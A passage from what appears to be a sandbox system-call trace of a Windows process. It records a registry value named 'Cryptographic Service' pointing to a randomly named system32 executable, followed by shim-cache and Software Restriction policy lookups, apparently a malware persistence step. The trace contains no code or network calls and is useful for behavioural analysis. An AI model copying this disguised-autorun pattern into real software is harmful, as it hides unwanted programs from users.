 01374  1744   NtSetValueKey  (172,  (172, "Cryptographic Service", 0, 1, "C\0:\0\\0W\0I\0N\0D\0O\0W\0S\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0e\0m\0f\0v\0q\0x\0.\0e\0x\0e\0\0\0", 62, ... , 0, 1,  (172, "Cryptographic Service", 0, 1, "C\0:\0\\0W\0I\0N\0D\0O\0W\0S\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0e\0m\0f\0v\0q\0x\0.\0e\0x\0e\0\0\0", 62, ... , 62, ...
 01375  1744   NtSetInformationFile  (-2147482448, -139348176, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01376  1744   NtSetInformationFile  (-2147482448, -139348268, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01374  1744   NtSetValueKey  ... ) == 0x0
 01377  1744   NtClose  (172, ... ) == 0x0
 01378  1744   NtClose  (132, ... ) == 0x0
 01379  1744   NtQueryInformationJobObject  (0, BasicUIRestrictions, 4, ... ) == STATUS_ACCESS_DENIED
 01380  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 1240872, ... ) }, 1240872, ... ) == 0x0
 01381  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 1241608, ... ) }, 1241608, ... ) == 0x0
 01382  1744   NtOpenFile  (0x1000a1, {24, 0, 0x40, 0, 0,  (0x1000a1, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 5, 96, ... 132, {status=0x0, info=1}, ) }, 5, 96, ... 132, {status=0x0, info=1}, ) == 0x0
 01383  1744   NtCreateSection  (0xf001f, 0x0, 0x0, 16, 16777216, 132, ... 172, ) == 0x0
 01384  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01385  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatibility"}, ... 176, ) }, ... 176, ) == 0x0
 01386  1744   NtQueryValueKey  (176,  (176, "DisableAppCompat", Partial, 20, ... ) , Partial, 20, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01387  1744   NtClose  (176, ... ) == 0x0
 01388  1744   NtQueryVolumeInformationFile  (132, 1240884, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01389  1744   NtOpenMutant  (0x120001, {24, 44, 0x0, 0, 0,  (0x120001, {24, 44, 0x0, 0, 0, "ShimCacheMutex"}, ... 176, ) }, ... 176, ) == 0x0
 01390  1744   NtWaitForSingleObject  (176, 0, {-1000000, -1}, ... ) == 0x0
 01391  1744   NtOpenSection  (0x2, {24, 44, 0x0, 0, 0,  (0x2, {24, 44, 0x0, 0, 0, "ShimSharedMemory"}, ... 180, ) }, ... 180, ) == 0x0
 01392  1744   NtMapViewOfSection  (180, -1, (0x0), 0, 0, {0, 0}, 0, 1, 0, 4, ... (0x3b0000), {0, 0}, 57344, ) == 0x0
 01393  1744   NtReleaseMutant  (176, ... 0x0, ) == 0x0
 01394  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\Apphelp.dll"}, 1238816, ... ) }, 1238816, ... ) == 0x0
 01395  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\Apphelp.dll"}, 5, 96, ... 184, {status=0x0, info=1}, ) }, 5, 96, ... 184, {status=0x0, info=1}, ) == 0x0
 01396  1744   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 184, ... 188, ) == 0x0
 01397  1744   NtClose  (184, ... ) == 0x0
 01398  1744   NtMapViewOfSection  (188, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x3c0000), 0x0, 126976, ) == 0x0
 01399  1744   NtClose  (188, ... ) == 0x0
 01400  1744   NtUnmapViewOfSection  (-1, 0x3c0000, ... ) == 0x0
 01401  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\Apphelp.dll"}, 1239124, ... ) }, 1239124, ... ) == 0x0
 01402  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\Apphelp.dll"}, 5, 96, ... 188, {status=0x0, info=1}, ) }, 5, 96, ... 188, {status=0x0, info=1}, ) == 0x0
 01403  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 188, ... 184, ) == 0x0
 01404  1744   NtQuerySection  (184, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 01405  1744   NtClose  (188, ... ) == 0x0
 01406  1744   NtMapViewOfSection  (184, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77b40000), 0x0, 139264, ) == 0x0
 01407  1744   NtClose  (184, ... ) == 0x0
 01408  1744   NtProtectVirtualMemory  (-1, (0x77b41000), 524, 4, ... (0x77b41000), 4096, 32, ) == 0x0
 01409  1744   NtProtectVirtualMemory  (-1, (0x77b41000), 4096, 32, ... (0x77b41000), 4096, 4, ) == 0x0
 01410  1744   NtFlushInstructionCache  (-1, 2008289280, 524, ... ) == 0x0
 01411  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Apphelp.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01412  1744   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 0,  (0x80100080, {24, 0, 0x40, 0, 0, "\SystemRoot\AppPatch\sysmain.sdb"}, 0x0, 128, 1, 1, 96, 0, 0, ... 184, {status=0x0, info=1}, ) }, 0x0, 128, 1, 1, 96, 0, 0, ... 184, {status=0x0, info=1}, ) == 0x0
 01413  1744   NtQueryInformationFile  (184, 1239140, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01414  1744   NtCreateSection  (0x4, 0x0, 0x0, 2, 134217728, 184, ... 188, ) == 0x0
 01415  1744   NtMapViewOfSection  (188, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0xc70000), 0x0, 1191936, ) == 0x0
 01416  1744   NtQueryInformationFile  (184, 1239240, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01417  1744   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 0,  (0x80100080, {24, 0, 0x40, 0, 0, "\SystemRoot\AppPatch\systest.sdb"}, 0x0, 128, 1, 1, 96, 0, 0, ... ) }, 0x0, 128, 1, 1, 96, 0, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01418  1744   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 01419  1744   NtQueryInformationProcess  (-1, Wow64, 4, ... {process info, class 26, size 4}, 0x0, ) == 0x0
 01420  1744   NtOpenKey  (0x101, {24, 0, 0x40, 0, 0,  (0x101, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\WPA\TabletPC"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01421  1744   NtOpenKey  (0x101, {24, 0, 0x40, 0, 0,  (0x101, {24, 0, 0x40, 0, 0, "\Registry\Machine\SYSTEM\WPA\MediaCenter"}, ... 192, ) }, ... 192, ) == 0x0
 01422  1744   NtQueryValueKey  (192,  (192, "Installed", Partial, 256, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 256, ... TitleIdx=0, Type=4, Data= (192, "Installed", Partial, 256, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01423  1744   NtClose  (192, ... ) == 0x0
 01424  1744   NtCreateFile  (0x120116, {24, 0, 0x40, 0, 0,  (0x120116, {24, 0, 0x40, 0, 0, "\Device\NamedPipe\ShimViewer"}, 0x0, 128, 0, 1, 0, 0, 0, ... ) }, 0x0, 128, 0, 1, 0, 0, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01425  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01426  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1236836, 616, BothDirectory, 1,  (192, 0, 0, 0, 1236836, 616, BothDirectory, 1, "emfvqx.exe", 0, ... {status=0x0, info=114}, ) , 0, ... {status=0x0, info=114}, ) == 0x0
 01427  1744   NtClose  (192, ... ) == 0x0
 01428  1744   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01429  1744   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01430  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 1237212, ... ) }, 1237212, ... ) == 0x0
 01431  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01432  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1236640, 616, BothDirectory, 1,  (192, 0, 0, 0, 1236640, 616, BothDirectory, 1, "WINDOWS", 0, ... {status=0x0, info=108}, ) , 0, ... {status=0x0, info=108}, ) == 0x0
 01433  1744   NtClose  (192, ... ) == 0x0
 01434  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01435  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1236640, 616, BothDirectory, 1,  (192, 0, 0, 0, 1236640, 616, BothDirectory, 1, "system32", 0, ... {status=0x0, info=110}, ) , 0, ... {status=0x0, info=110}, ) == 0x0
 01436  1744   NtClose  (192, ... ) == 0x0
 01437  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01438  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1236640, 616, BothDirectory, 1,  (192, 0, 0, 0, 1236640, 616, BothDirectory, 1, "emfvqx.exe", 0, ... {status=0x0, info=114}, ) , 0, ... {status=0x0, info=114}, ) == 0x0
 01439  1744   NtClose  (192, ... ) == 0x0
 01440  1744   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01441  1744   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01442  1744   NtQueryInformationProcess  (-1, DeviceMap, 36, ... {process info, class 23, size 36}, 0x0, ) == 0x0
 01443  1744   NtOpenKey  (0x80000100, {24, 0, 0x40, 0, 0,  (0x80000100, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01444  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01445  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 192, ) == 0x0
 01446  1744   NtQueryInformationToken  (192, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01447  1744   NtClose  (192, ... ) == 0x0
 01448  1744   NtOpenKey  (0x80000100, {24, 0, 0x40, 0, 0,  (0x80000100, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01449  1744   NtOpenKey  (0x80000100, {24, 0, 0x40, 0, 0,  (0x80000100, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\emfvqx.exe"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01450  1744   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01451  1744   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01452  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 1238464, ... ) }, 1238464, ... ) == 0x0
 01453  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01454  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1237892, 616, BothDirectory, 1,  (192, 0, 0, 0, 1237892, 616, BothDirectory, 1, "WINDOWS", 0, ... {status=0x0, info=108}, ) , 0, ... {status=0x0, info=108}, ) == 0x0
 01455  1744   NtClose  (192, ... ) == 0x0
 01456  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01457  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1237892, 616, BothDirectory, 1,  (192, 0, 0, 0, 1237892, 616, BothDirectory, 1, "system32", 0, ... {status=0x0, info=110}, ) , 0, ... {status=0x0, info=110}, ) == 0x0
 01458  1744   NtClose  (192, ... ) == 0x0
 01459  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01460  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1237892, 616, BothDirectory, 1,  (192, 0, 0, 0, 1237892, 616, BothDirectory, 1, "emfvqx.exe", 0, ... {status=0x0, info=114}, ) , 0, ... {status=0x0, info=114}, ) == 0x0
 01461  1744   NtClose  (192, ... ) == 0x0
 01462  1744   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01463  1744   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01464  1744   NtWaitForSingleObject  (176, 0, {-1000000, -1}, ... ) == 0x0
 01465  1744   NtQueryVolumeInformationFile  (132, 1239120, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01466  1744   NtQueryInformationFile  (132, 1239100, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 01467  1744   NtQueryInformationFile  (132, 1239140, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01468  1744   NtReleaseMutant  (176, ... 0x0, ) == 0x0
 01469  1744   NtUnmapViewOfSection  (-1, 0xc70000, ... ) == 0x0
 01470  1744   NtClose  (188, ... ) == 0x0
 01471  1744   NtClose  (184, ... ) == 0x0
 01472  1744   NtOpenThreadToken  (-2, 0x2000000, 1, ... ) == STATUS_NO_TOKEN
 01473  1744   NtOpenProcessToken  (-1, 0xa, ... 184, ) == 0x0
 01474  1744   NtQueryInformationToken  (184, User, 136, ... {token info, class 1, size 36}, 36, ) == 0x0
 01475  1744   NtOpenKey  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01476  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 188, ) }, ... 188, ) == 0x0
 01477  1744   NtQueryValueKey  (188,  (188, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (188, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) }, 16, ) == 0x0
 01478  1744   NtQueryValueKey  (188,  (188, "AuthenticodeEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (188, "AuthenticodeEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01479  1744   NtClose  (188, ... ) == 0x0
 01480  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\LevelObjects"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01481  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 188, ) }, ... 188, ) == 0x0
 01482  1744   NtQueryValueKey  (188,  (188, "Levels", Partial, 536, ... ) , Partial, 536, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01483  1744   NtClose  (188, ... ) == 0x0
 01484  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01485  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01486  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01487  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01488  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01489  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01490  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01491  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01492  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01493  1744   NtQueryDefaultLocale  (1, 1240312, ... ) == 0x0
 01494  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths"}, ... 188, ) }, ... 188, ) == 0x0
 01495  1744   NtEnumerateKey  (188, 0, Basic, 280, ... {LastWrite={0x3a5edea,0x1c74da9}, TitleIdx=0, Name= (188, 0, Basic, 280, ... {LastWrite={0x3a5edea,0x1c74da9}, TitleIdx=0, Name="{dda3f824-d8cb-441b-834d-be2efd2c1a33}"}, 92, ) }, 92, ) == 0x0
 01496  1744   NtOpenKey  (0x20019, {24, 188, 0x40, 0, 0,  (0x20019, {24, 188, 0x40, 0, 0, "{dda3f824-d8cb-441b-834d-be2efd2c1a33}"}, ... 192, ) }, ... 192, ) == 0x0
 01497  1744   NtQueryValueKey  (192,  (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=2, Data="%\0H\0K\0E\0Y\0_\0C\0U\0R\0R\0E\0N\0T\0_\0U\0S\0E\0R\0\\0S\0o\0f\0t\0w\0a\0r\0e\0\\0M\0i\0c\0r\0o\0s\0o\0f\0t\0\\0W\0i\0n\0d\0o\0w\0s\0\\0C\0u\0r\0r\0e\0n\0t\0V\0e\0r\0s\0i\0o\0n\0\\0E\0x\0p\0l\0o\0r\0e\0r\0\\0S\0h\0e\0l\0l\0 \0F\0o\0l\0d\0e\0r\0s\0\\0C\0a\0c\0h\0e\0%\0O\0L\0K\0*\0\0\0"}, 202, ) , Partial, 280, ... TitleIdx=0, Type=2, Data= (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=2, Data="%\0H\0K\0E\0Y\0_\0C\0U\0R\0R\0E\0N\0T\0_\0U\0S\0E\0R\0\\0S\0o\0f\0t\0w\0a\0r\0e\0\\0M\0i\0c\0r\0o\0s\0o\0f\0t\0\\0W\0i\0n\0d\0o\0w\0s\0\\0C\0u\0r\0r\0e\0n\0t\0V\0e\0r\0s\0i\0o\0n\0\\0E\0x\0p\0l\0o\0r\0e\0r\0\\0S\0h\0e\0l\0l\0 \0F\0o\0l\0d\0e\0r\0s\0\\0C\0a\0c\0h\0e\0%\0O\0L\0K\0*\0\0\0"}, 202, ) }, 202, ) == 0x0
 01498  1744   NtQueryValueKey  (192,  (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01499  1744   NtClose  (192, ... ) == 0x0
 01500  1744   NtEnumerateKey  (188, 1, Basic, 280, ... ) == STATUS_NO_MORE_ENTRIES
 01501  1744   NtClose  (188, ... ) == 0x0
 01502  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Hashes"}, ... 188, ) }, ... 188, ) == 0x0
 01503  1744   NtEnumerateKey  (188, 0, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (188, 0, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{349d35ab-37b5-462f-9b89-edd5fbde1328}"}, 92, ) }, 92, ) == 0x0
 01504  1744   NtOpenKey  (0x20019, {24, 188, 0x40, 0, 0,  (0x20019, {24, 188, 0x40, 0, 0, "{349d35ab-37b5-462f-9b89-edd5fbde1328}"}, ... 192, ) }, ... 192, ) == 0x0
 01505  1744   NtQueryValueKey  (192,  (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="^\2530O\225zI\211j\0l\341\25@\25"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="^\2530O\225zI\211j\0l\341\25@\25"}, 28, ) }, 28, ) == 0x0
 01506  1744   NtQueryValueKey  (192,  (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01507  1744   NtQueryValueKey  (192,  (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\13\3\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\13\3\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01508  1744   NtQueryValueKey  (192,  (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01509  1744   NtClose  (192, ... ) == 0x0
 01510  1744   NtEnumerateKey  (188, 1, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (188, 1, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{7fb9cd2e-3076-4df9-a57b-b813f72dbb91}"}, 92, ) }, 92, ) == 0x0
 01511  1744   NtOpenKey  (0x20019, {24, 188, 0x40, 0, 0,  (0x20019, {24, 188, 0x40, 0, 0, "{7fb9cd2e-3076-4df9-a57b-b813f72dbb91}"}, ... 192, ) }, ... 192, ) == 0x0
 01512  1744   NtQueryValueKey  (192,  (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="g\260\324\2134:?\323\274\351\334dg\4\363\224"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="g\260\324\2134:?\323\274\351\334dg\4\363\224"}, 28, ) }, 28, ) == 0x0
 01513  1744   NtQueryValueKey  (192,  (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01514  1744   NtQueryValueKey  (192,  (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\5\2\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\5\2\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01515  1744   NtQueryValueKey  (192,  (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01516  1744   NtClose  (192, ... ) == 0x0
 01517  1744   NtEnumerateKey  (188, 2, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (188, 2, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{81d1fe15-dd9d-4762-b16d-7c29ddecae3f}"}, 92, ) }, 92, ) == 0x0
 01518  1744   NtOpenKey  (0x20019, {24, 188, 0x40, 0, 0,  (0x20019, {24, 188, 0x40, 0, 0, "{81d1fe15-dd9d-4762-b16d-7c29ddecae3f}"}, ... 192, ) }, ... 192, ) == 0x0
 01519  1744   NtQueryValueKey  (192,  (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="2x\2\334\376\370\310\223\334\212\260\6\335\204}\35"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="2x\2\334\376\370\310\223\334\212\260\6\335\204}\35"}, 28, ) }, 28, ) == 0x0
 01520  1744   NtQueryValueKey  (192,  (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01521  1744   NtQueryValueKey  (192,  (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\226\3\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\226\3\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01522  1744   NtQueryValueKey  (192,  (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01523  1744   NtClose  (192, ... ) == 0x0
 01524  1744   NtEnumerateKey  (188, 3, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (188, 3, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{94e3e076-8f53-42a5-8411-085bcc18a68d}"}, 92, ) }, 92, ) == 0x0
 01525  1744   NtOpenKey  (0x20019, {24, 188, 0x40, 0, 0,  (0x20019, {24, 188, 0x40, 0, 0, "{94e3e076-8f53-42a5-8411-085bcc18a68d}"}, ... 192, ) }, ... 192, ) == 0x0
 01526  1744   NtQueryValueKey  (192,  (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="\275\232*\333B\353\330V\16%\16M\370\26/g"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="\275\232*\333B\353\330V\16%\16M\370\26/g"}, 28, ) }, 28, ) == 0x0
 01527  1744   NtQueryValueKey  (192,  (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
